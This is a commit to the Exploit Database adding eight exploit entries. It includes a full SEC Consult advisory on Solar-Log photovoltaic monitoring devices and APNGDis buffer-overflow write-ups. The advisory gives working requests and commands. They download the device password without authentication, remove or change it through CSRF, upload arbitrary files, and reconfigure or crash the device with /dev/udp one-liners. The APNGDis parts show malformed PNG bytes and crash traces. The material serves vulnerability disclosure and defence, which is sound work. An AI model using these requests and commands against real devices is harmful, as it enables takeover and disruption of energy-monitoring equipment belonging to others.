DB: 2017-03-23
8 new exploits SpyCamLizard 1.230 - Denial of Service APNGDis 2.8 - 'chunk size descriptor' Heap Buffer Overflow APNGDis 2.8 - 'image width / height chunk' Heap Buffer Overflow APNGDis 2.8 - 'filename' Stack Buffer Overflow Disk Sorter Enterprise 9.5.12 - 'GET' Buffer Overflow (SEH) SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit) GLink Word Link Script 1.2.3 - SQL Injection Solare Datensysteme Solar-Log Devices 2.8.4-56 / 3.5.2-85 - Multiple Vulnerabilities
This commit is contained in:
Offensive Security
parent
93635f1158
commit
8b5b662af9
9 changed files with 834 additions and 0 deletions
|
|
@ -5420,6 +5420,10 @@ id,file,description,date,author,platform,type,port
|
||||||
41659,platforms/windows/dos/41659.txt,"Microsoft Color Management Module 'icm32.dll' - 'icm32!LHCalc3toX_Di16_Do16_Lut8_G32' Out-of-Bounds Read (MS17-013)",2017-03-20,"Google Security Research",windows,dos,0
|
41659,platforms/windows/dos/41659.txt,"Microsoft Color Management Module 'icm32.dll' - 'icm32!LHCalc3toX_Di16_Do16_Lut8_G32' Out-of-Bounds Read (MS17-013)",2017-03-20,"Google Security Research",windows,dos,0
|
||||||
41660,platforms/multiple/dos/41660.html,"Mozilla Firefox - 'table' Use-After-Free",2017-03-20,"Google Security Research",multiple,dos,0
|
41660,platforms/multiple/dos/41660.html,"Mozilla Firefox - 'table' Use-After-Free",2017-03-20,"Google Security Research",multiple,dos,0
|
||||||
41661,platforms/windows/dos/41661.html,"Microsoft Internet Explorer - 'textarea.defaultValue' Memory Disclosure (MS17-006)",2017-03-20,"Google Security Research",windows,dos,0
|
41661,platforms/windows/dos/41661.html,"Microsoft Internet Explorer - 'textarea.defaultValue' Memory Disclosure (MS17-006)",2017-03-20,"Google Security Research",windows,dos,0
|
||||||
|
41667,platforms/windows/dos/41667.py,"SpyCamLizard 1.230 - Denial of Service",2017-03-22,ScrR1pTK1dd13,windows,dos,0
|
||||||
|
41668,platforms/multiple/dos/41668.txt,"APNGDis 2.8 - 'chunk size descriptor' Heap Buffer Overflow",2017-03-14,"Alwin Peppels",multiple,dos,0
|
||||||
|
41669,platforms/multiple/dos/41669.txt,"APNGDis 2.8 - 'image width / height chunk' Heap Buffer Overflow",2017-03-14,"Alwin Peppels",multiple,dos,0
|
||||||
|
41670,platforms/multiple/dos/41670.txt,"APNGDis 2.8 - 'filename' Stack Buffer Overflow",2017-03-14,"Alwin Peppels",multiple,dos,0
|
||||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||||
|
|
@ -15353,6 +15357,8 @@ id,file,description,date,author,platform,type,port
|
||||||
41613,platforms/windows/remote/41613.rb,"IBM WebSphere - RCE Java Deserialization (Metasploit)",2017-03-15,Metasploit,windows,remote,8800
|
41613,platforms/windows/remote/41613.rb,"IBM WebSphere - RCE Java Deserialization (Metasploit)",2017-03-15,Metasploit,windows,remote,8800
|
||||||
41614,platforms/multiple/remote/41614.rb,"Apache Struts Jakarta - Multipart Parser OGNL Injection (Metasploit)",2017-03-15,Metasploit,multiple,remote,8080
|
41614,platforms/multiple/remote/41614.rb,"Apache Struts Jakarta - Multipart Parser OGNL Injection (Metasploit)",2017-03-15,Metasploit,multiple,remote,8080
|
||||||
41638,platforms/windows/remote/41638.txt,"HttpServer 1.0 - Directory Traversal",2017-03-19,malwrforensics,windows,remote,0
|
41638,platforms/windows/remote/41638.txt,"HttpServer 1.0 - Directory Traversal",2017-03-19,malwrforensics,windows,remote,0
|
||||||
|
41666,platforms/windows/remote/41666.py,"Disk Sorter Enterprise 9.5.12 - 'GET' Buffer Overflow (SEH)",2017-03-22,"Daniel Teixeira",windows,remote,0
|
||||||
|
41672,platforms/windows/remote/41672.rb,"SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit)",2017-03-22,Metasploit,windows,remote,0
|
||||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||||
|
|
@ -37574,3 +37580,5 @@ id,file,description,date,author,platform,type,port
|
||||||
41644,platforms/php/webapps/41644.txt,"phplist 3.2.6 - SQL Injection",2017-03-20,"Curesec Research Team",php,webapps,80
|
41644,platforms/php/webapps/41644.txt,"phplist 3.2.6 - SQL Injection",2017-03-20,"Curesec Research Team",php,webapps,80
|
||||||
41662,platforms/hardware/webapps/41662.py,"D-Link DGS-1510 - Multiple Vulnerabilities",2017-03-20,"Varang Amin",hardware,webapps,0
|
41662,platforms/hardware/webapps/41662.py,"D-Link DGS-1510 - Multiple Vulnerabilities",2017-03-20,"Varang Amin",hardware,webapps,0
|
||||||
41663,platforms/php/webapps/41663.txt,"Joomla! Component Extra Search 2.2.8 - 'establename' Parameter SQL Injection",2017-03-21,"Ihsan Sencan",php,webapps,0
|
41663,platforms/php/webapps/41663.txt,"Joomla! Component Extra Search 2.2.8 - 'establename' Parameter SQL Injection",2017-03-21,"Ihsan Sencan",php,webapps,0
|
||||||
|
41665,platforms/php/webapps/41665.txt,"GLink Word Link Script 1.2.3 - SQL Injection",2017-03-22,"Ihsan Sencan",php,webapps,0
|
||||||
|
41671,platforms/hardware/webapps/41671.txt,"Solare Datensysteme Solar-Log Devices 2.8.4-56 / 3.5.2-85 - Multiple Vulnerabilities",2017-03-22,"SEC Consult",hardware,webapps,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
296
platforms/hardware/webapps/41671.txt
Executable file
296
platforms/hardware/webapps/41671.txt
Executable file
|
|
@ -0,0 +1,296 @@
|
||||||
|
SEC Consult Vulnerability Lab Security Advisory < 20170322-0 >
|
||||||
|
=======================================================================
|
||||||
|
title: Multiple vulnerabilities
|
||||||
|
product: Solare Datensysteme GmbH
|
||||||
|
Solar-Log 250/300/500/800e/1000/1000 PM+/1200/2000
|
||||||
|
vulnerable version: Firmware 2.8.4-56 / 3.5.2-85
|
||||||
|
fixed version: Firmware 3.5.3-86
|
||||||
|
CVE number: -
|
||||||
|
impact: Critical
|
||||||
|
homepage: http://www.solar-log.com/de/home.html
|
||||||
|
found: 2017-01-23
|
||||||
|
by: T. Weber (Office Vienna)
|
||||||
|
SEC Consult Vulnerability Lab
|
||||||
|
|
||||||
|
An integrated part of SEC Consult
|
||||||
|
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
|
||||||
|
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
|
||||||
|
|
||||||
|
https://www.sec-consult.com
|
||||||
|
=======================================================================
|
||||||
|
|
||||||
|
Vendor description:
|
||||||
|
-------------------
|
||||||
|
"Solare Datensysteme GmbH (SDS) is headquartered in the southern German city
|
||||||
|
of Binsdorf and specialises in the development and sale of monitoring systems
|
||||||
|
for photovoltaic plants. The company was founded in 2007 by Thomas Preuhs and
|
||||||
|
Jörg Karwath and was created from the company "TOP Solare Datensysteme". This
|
||||||
|
company had been developing and selling the "SolarLogâ„¢" product range since
|
||||||
|
2005. Our core competence covers innovative products with short development
|
||||||
|
cycles and an excellent cost/performance ratio. Our developments have the
|
||||||
|
outstanding characteristics of high customer value, simple operation and
|
||||||
|
universal application without requiring time-consuming installation of
|
||||||
|
software."
|
||||||
|
|
||||||
|
Source: http://www.solar-log.uk/gb-en/unternehmen/ueber-uns.html
|
||||||
|
|
||||||
|
|
||||||
|
Business recommendation:
|
||||||
|
------------------------
|
||||||
|
SEC Consult recommends to immediately install the available firmware update
|
||||||
|
and restrict network access.
|
||||||
|
|
||||||
|
Furthermore, this device should not be used in production until a thorough
|
||||||
|
security review has been performed by security professionals and all
|
||||||
|
identified issues have been resolved.
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability overview/description:
|
||||||
|
-----------------------------------
|
||||||
|
1) Unauthenticated Download of Configuration including Device-Password
|
||||||
|
This vulnerability is present at least on firmware 2.8.4-56.
|
||||||
|
|
||||||
|
An attacker can download the configuration file without authentication and
|
||||||
|
extract the password to login to Solar-Log. Therefore, an attacker can gain
|
||||||
|
administrative access to such a device without prior authentication.
|
||||||
|
|
||||||
|
|
||||||
|
2) Cross-Site Request Forgery (CSRF)
|
||||||
|
This vulnerability is present at least on firmware 3.5.2-85.
|
||||||
|
|
||||||
|
A CSRF vulnerability enables an attacker to remove/modify a password of a
|
||||||
|
device by luring an authenticated user to click on a crafted link. An attacker
|
||||||
|
is able to take over the device by exploiting this vulnerability.
|
||||||
|
|
||||||
|
|
||||||
|
3) Unauthenticated Arbitrary File Upload
|
||||||
|
This vulnerability is present at least on firmware 3.5.2-85.
|
||||||
|
|
||||||
|
Any files can be uploaded on the Solar-Log by using a crafted POST request. An
|
||||||
|
attacker can start a malicious website or use the Solar-Log as share to store
|
||||||
|
any (illegal) contents.
|
||||||
|
|
||||||
|
|
||||||
|
4) Information Disclosure (CVE-2001-1341)
|
||||||
|
All Solar-Log devices in the current firmware versions are prone to this
|
||||||
|
information disclosure vulnerability. (2.8.4-56 / 3.5.2-85)
|
||||||
|
|
||||||
|
The network configuration of the internal network including the gateway and
|
||||||
|
the MAC address of the device are leaked.
|
||||||
|
|
||||||
|
All details of the IPC@CHIP from Beck IPC (https://www.beck-ipc.com/) like RTOS
|
||||||
|
version and serial number are leaked as well.
|
||||||
|
|
||||||
|
|
||||||
|
5) Unauthenticated Change of Network-Configuration
|
||||||
|
All Solar-Log devices in the current firmware versions are prone to this
|
||||||
|
vulnerability. (2.8.4-56 / 3.5.2-85)
|
||||||
|
|
||||||
|
Since the Solar-Log is based on the chips of Beck IPC a UDP configuration
|
||||||
|
server is enabled by default. This server allows to change the IP configuration
|
||||||
|
over a specific UDP port. This functionality can be protected with a password,
|
||||||
|
but this is not set in the affected firmware versions.
|
||||||
|
|
||||||
|
The MAC address, which is leaked by 4), is needed to configure the device.
|
||||||
|
An attacker can reconfigure the device without any authentication.
|
||||||
|
|
||||||
|
|
||||||
|
6) Unauthenticated Denial of Service
|
||||||
|
All Solar-Log devices in the current firmware versions are prone to this
|
||||||
|
vulnerability. (2.8.4-56 / 3.5.2-85)
|
||||||
|
|
||||||
|
The Beck IPC UDP configuration server on Solar-Log device can be attacked with
|
||||||
|
arbitrary UDP packets to permanently disable the Solar-Log until a manual
|
||||||
|
reboot is triggered.
|
||||||
|
|
||||||
|
|
||||||
|
7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory
|
||||||
|
Potentially available in all Solar-Log devices in the current firmware
|
||||||
|
versions. (2.8.4-56 / 3.5.2-85)
|
||||||
|
|
||||||
|
Since the "CHIPTOOL" from BECK IPC enables a developer to reprogram the chip
|
||||||
|
over the network via UDP, a missing password can also enable an attacker to do
|
||||||
|
this on a Solar-Log device. This action can lead to a simple Denial of Service
|
||||||
|
or a complex botnet of Solar-Log devices!
|
||||||
|
|
||||||
|
|
||||||
|
Proof of concept:
|
||||||
|
-----------------
|
||||||
|
1) Unauthenticated Download of Configuration including Device-Password
|
||||||
|
The full configuration is exposed by sending the following GET-request:
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
GET /data/misc.dat HTTP/1.1
|
||||||
|
Host: <IP-Address>
|
||||||
|
[...]
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
Since the response contains the password, an attacker can easily take
|
||||||
|
control over the device.
|
||||||
|
|
||||||
|
|
||||||
|
2) Cross-Site Request Forgery
|
||||||
|
By luring the user to issue the following request, the password is removed:
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
POST /setjp HTTP/1.1
|
||||||
|
Host: <IP-Address>
|
||||||
|
|
||||||
|
preval=none;postval=105;{"221":"0","223":"0","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"}
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
By luring the user to issue the following request, the password is modified:
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
POST /setjp HTTP/1.1
|
||||||
|
Host: <IP-Address>
|
||||||
|
|
||||||
|
preval=none;postval=105;{"221":"0","223":"1","224":"<New-Password>","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"}
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
3) Unauthenticated Arbitrary File Upload
|
||||||
|
Any files can be uploaded by using the following POST-request:
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
POST /menu/d_debug_db.html HTTP/1.1
|
||||||
|
Host: <IP-Address>
|
||||||
|
[...]
|
||||||
|
Referer: http://<IP-Address>/menu/d_debug_db.html
|
||||||
|
Content-Type: multipart/form-data; boundary=--------301473270
|
||||||
|
Content-Length: 341
|
||||||
|
|
||||||
|
----------301473270
|
||||||
|
Content-Disposition: form-data; name="DESTINATION-PATH"
|
||||||
|
|
||||||
|
PoC.html
|
||||||
|
----------301473270
|
||||||
|
Content-Disposition: form-data; name="FILE-CONTENT"; filename="file.txt"
|
||||||
|
Content-Type: text/plain
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>SEC-Test</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<script>alert("XSS-PoC");</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
----------301473270
|
||||||
|
Content-Disposition: form-data; name="L_UPLOAD"
|
||||||
|
|
||||||
|
Hochladen
|
||||||
|
----------301473270--
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
The uploaded content can be reached by this link:
|
||||||
|
http://<IP-Address>/PoC.html
|
||||||
|
|
||||||
|
|
||||||
|
4) Information Disclosure (CVE-2001-1341)
|
||||||
|
This vulnerability is a known issue to IPC@CHIP since 2001.
|
||||||
|
See: http://www.securityfocus.com/bid/2767/info
|
||||||
|
|
||||||
|
The following URL can be used to open the "ChipCfg" file on a Solar-Log device:
|
||||||
|
http://<IP-Address>/ChipCfg
|
||||||
|
|
||||||
|
If an attacker is in the same subnet, he can directly request this information
|
||||||
|
from the device (the device responds to multicast) with the following command:
|
||||||
|
$ echo -n "0 1 A" >/dev/udp/<Target-IP>/8001
|
||||||
|
|
||||||
|
|
||||||
|
5) Unauthenticated Change of Network-Configuration
|
||||||
|
By using the following command a change of the network configuration can be
|
||||||
|
triggerd unauthenticated on UDP port 8001:
|
||||||
|
$ echo -n "<MAC> 4 2 0 <Desired-IP-Address> <Desired-Netmask> <Desired-Gateway>" >/dev/udp/<Target-IP>/8001
|
||||||
|
|
||||||
|
Example:
|
||||||
|
$ echo -n "001122334455 4 2 0 192.168.4.5 255.255.255.0 192.168.4.254" >/dev/udp/192.168.4.9/8001
|
||||||
|
|
||||||
|
|
||||||
|
6) Unauthenticated Denial of Service
|
||||||
|
By using arbitrary null characters the IPC@CHIP can be pushed into an
|
||||||
|
undesired state:
|
||||||
|
$ echo -n "<MAC> 0 <IP-Address> <Netmask> <Gateway> DDDD\0\0" >/dev/udp/<Target-IP>/8001
|
||||||
|
|
||||||
|
Example:
|
||||||
|
$ echo -n "001122334455 0 192.168.4.5 255.255.255.0 192.168.4.254 DDDD\0\0" >/dev/udp/192.168.4.5/8001
|
||||||
|
|
||||||
|
|
||||||
|
7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory
|
||||||
|
This action was not tested against the device. Such attack can brick the
|
||||||
|
Solar-Log. The worst case scenario would be a botnet exploiting this vulnerability.
|
||||||
|
|
||||||
|
A network-dump of the "CHIPTOOL" would be enough to reconstruct the required
|
||||||
|
UDP packets for the attack.
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerable / tested versions:
|
||||||
|
-----------------------------
|
||||||
|
Solar-Log 1200 - 3.5.2-85
|
||||||
|
Solar-Log 800e - 2.8.4-56
|
||||||
|
|
||||||
|
Since the firmware for the other Solar-Log devices is exactly the same,
|
||||||
|
other devices with the same versions are also prone to the vulnerabilities!
|
||||||
|
|
||||||
|
|
||||||
|
Vendor contact timeline:
|
||||||
|
------------------------
|
||||||
|
2017-02-02: Contacting vendor via info@solar-log.com, support@solar-log.com
|
||||||
|
and berlin@solar-log.com.
|
||||||
|
2017-02-14: Vendor responds and requests the advisory unencrypted; Sent the
|
||||||
|
advisory unencrypted to the vendor.
|
||||||
|
2017-02-20: Asked for an update.
|
||||||
|
2017-02-21: Vendor states that the patch is in development. The update will
|
||||||
|
be published before 2017-03-24.
|
||||||
|
2017-03-14: Asked for a status update. Vendor states that the update will
|
||||||
|
be available on 2017-03-21.
|
||||||
|
2017-03-20: Vendor sends release notes. New firmware version is 3.5.3 build
|
||||||
|
86 for all affected Solar-Log devices.
|
||||||
|
Informing the vendor that the release of the advisory is set to
|
||||||
|
2017-03-22.
|
||||||
|
2017-03-22: Public advisory release.
|
||||||
|
|
||||||
|
|
||||||
|
Solution:
|
||||||
|
---------
|
||||||
|
Upgrade to firmware 3.5.3-86
|
||||||
|
http://www.solar-log.com/de/service-support/downloads/firmware.html
|
||||||
|
|
||||||
|
|
||||||
|
Workaround:
|
||||||
|
-----------
|
||||||
|
Restrict network access to the devices.
|
||||||
|
|
||||||
|
|
||||||
|
Advisory URL:
|
||||||
|
-------------
|
||||||
|
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
|
||||||
|
|
||||||
|
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
SEC Consult Vulnerability Lab
|
||||||
|
|
||||||
|
SEC Consult
|
||||||
|
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
|
||||||
|
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
|
||||||
|
|
||||||
|
About SEC Consult Vulnerability Lab
|
||||||
|
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
|
||||||
|
ensures the continued knowledge gain of SEC Consult in the field of network
|
||||||
|
and application security to stay ahead of the attacker. The SEC Consult
|
||||||
|
Vulnerability Lab supports high-quality penetration testing and the evaluation
|
||||||
|
of new offensive and defensive technologies for our customers. Hence our
|
||||||
|
customers obtain the most current information about vulnerabilities and valid
|
||||||
|
recommendation about the risk profile of new technologies.
|
||||||
|
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
Interested to work with the experts of SEC Consult?
|
||||||
|
Send us your application https://www.sec-consult.com/en/Career.htm
|
||||||
|
|
||||||
|
Interested in improving your cyber security with the experts of SEC Consult?
|
||||||
|
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
Mail: research at sec-consult dot com
|
||||||
|
Web: https://www.sec-consult.com
|
||||||
|
Blog: http://blog.sec-consult.com
|
||||||
|
Twitter: https://twitter.com/sec_consult
|
||||||
|
|
||||||
|
EOF T. Weber / @2017
|
||||||
62
platforms/multiple/dos/41668.txt
Executable file
62
platforms/multiple/dos/41668.txt
Executable file
|
|
@ -0,0 +1,62 @@
|
||||||
|
# Exploit Title: APNGDis chunk size descriptor Buffer Overflow
|
||||||
|
# Date: 14-03-2017
|
||||||
|
# Exploit Author: Alwin Peppels
|
||||||
|
# Vendor Homepage: http://apngdis.sourceforge.net/
|
||||||
|
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
|
||||||
|
# Version: 2.8
|
||||||
|
# Tested on: Linux Debian / Windows 7
|
||||||
|
# CVE : CVE-2017-6191
|
||||||
|
|
||||||
|
|
||||||
|
Additional analysis:
|
||||||
|
https://www.onvio.nl/nieuws/cve-2017-6191-apngdis-chunk-size-descriptor-buffer-overflow
|
||||||
|
|
||||||
|
POC:
|
||||||
|
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41668.png
|
||||||
|
|
||||||
|
The PoC contains an IHDR chunk size descriptor of 0xFFFFFFF4
|
||||||
|
|
||||||
|
‰ P N G . . . . ÿ ÿ ÿ ô I H D R
|
||||||
|
89 50 4E 47 0D 0A 1A 0A FF FF FF F4 49 48 44 52
|
||||||
|
^ ^ ^ ^
|
||||||
|
|
||||||
|
Bash:
|
||||||
|
|
||||||
|
Reading '../ihdr_chunk_size_poc.png'...
|
||||||
|
*** Error in `./apngdis': free(): invalid next size (fast): 0x00005556a08d2270 ***
|
||||||
|
======= Backtrace: =========
|
||||||
|
/lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7f932b0adbcb]
|
||||||
|
/lib/x86_64-linux-gnu/libc.so.6(+0x76f96)[0x7f932b0b3f96]
|
||||||
|
/lib/x86_64-linux-gnu/libc.so.6(+0x7778e)[0x7f932b0b478e]
|
||||||
|
./apngdis(+0x2e2f)[0x55569f636e2f]
|
||||||
|
./apngdis(+0x324f)[0x55569f63724f]
|
||||||
|
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7f932b05d2b1]
|
||||||
|
./apngdis(+0x16ca)[0x55569f6356ca]
|
||||||
|
|
||||||
|
|
||||||
|
Valgrind:
|
||||||
|
|
||||||
|
Reading '../ihdr_chunk_size_poc.png'...
|
||||||
|
==10383== Invalid write of size 4
|
||||||
|
==10383== at 0x10B502: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:113)
|
||||||
|
==10383== by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
|
||||||
|
==10383== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10383== Address 0x5ed3370 is 0 bytes after a block of size 0 alloc'd
|
||||||
|
==10383== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
|
||||||
|
==10383== by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
|
||||||
|
==10383== by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
|
||||||
|
==10383== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10383==
|
||||||
|
==10383== Invalid write of size 1
|
||||||
|
==10383== at 0x4C330AD: __GI_mempcpy (vg_replace_strmem.c:1518)
|
||||||
|
==10383== by 0x5B94B0D: _IO_file_xsgetn (fileops.c:1400)
|
||||||
|
==10383== by 0x5B89AA8: fread (iofread.c:38)
|
||||||
|
==10383== by 0x10B52B: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:114)
|
||||||
|
==10383== by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
|
||||||
|
==10383== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10383== Address 0x5ed338c is 28 bytes after a block of size 0 in arena "client"
|
||||||
|
==10383==
|
||||||
|
|
||||||
|
valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
|
||||||
|
valgrind: Heap block lo/hi size mismatch: lo = 64, hi = 90194313415.
|
||||||
147
platforms/multiple/dos/41669.txt
Executable file
147
platforms/multiple/dos/41669.txt
Executable file
|
|
@ -0,0 +1,147 @@
|
||||||
|
# Exploit Title: APNGDis image width / height Buffer Overflow
|
||||||
|
# Date: 14-03-2017
|
||||||
|
# Exploit Author: Alwin Peppels
|
||||||
|
# Vendor Homepage: http://apngdis.sourceforge.net/
|
||||||
|
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
|
||||||
|
# Version: 2.8
|
||||||
|
# Tested on: Linux Debian / Windows 7
|
||||||
|
# CVE : CVE-2017-6192
|
||||||
|
|
||||||
|
Additional analysis:
|
||||||
|
https://www.onvio.nl/nieuws/cve-2017-6192-apngdis-width-height-buffer-overflow
|
||||||
|
|
||||||
|
POC:
|
||||||
|
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41669.png
|
||||||
|
|
||||||
|
In the first bytes of the PoC, positions +0x10 through +0x17 are malformed to contain large values:
|
||||||
|
|
||||||
|
‰ P N G . . . . . . . . I H D R
|
||||||
|
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
|
||||||
|
|
||||||
|
. . . . . . . .
|
||||||
|
00 0F 00 00 00 0F 00 00
|
||||||
|
|
||||||
|
^ ^ ^ ^ ^ ^ ^ ^
|
||||||
|
|
||||||
|
Valgrind:
|
||||||
|
|
||||||
|
|
||||||
|
Reading '../w_h_chunk_poc.png'...
|
||||||
|
==10563== Invalid read of size 8
|
||||||
|
==10563== at 0x4C30260: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
|
||||||
|
==10563== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
|
||||||
|
==10563== by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563== Address 0x5edb3c8 is 28,792 bytes inside a block of size 65,593 free'd
|
||||||
|
==10563== at 0x4C2CDDB: free (vg_replace_malloc.c:530)
|
||||||
|
==10563== by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
|
||||||
|
==10563== by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563== Block was alloc'd at
|
||||||
|
==10563== at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
|
||||||
|
==10563== by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
|
||||||
|
==10563== by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
|
||||||
|
==10563== by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563==
|
||||||
|
==10563== Invalid write of size 8
|
||||||
|
==10563== at 0x4C30265: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
|
||||||
|
==10563== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
|
||||||
|
==10563== by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563== Address 0x5edbad8 is 30,600 bytes inside a block of size 65,593 free'd
|
||||||
|
==10563== at 0x4C2CDDB: free (vg_replace_malloc.c:530)
|
||||||
|
==10563== by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
|
||||||
|
==10563== by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563== Block was alloc'd at
|
||||||
|
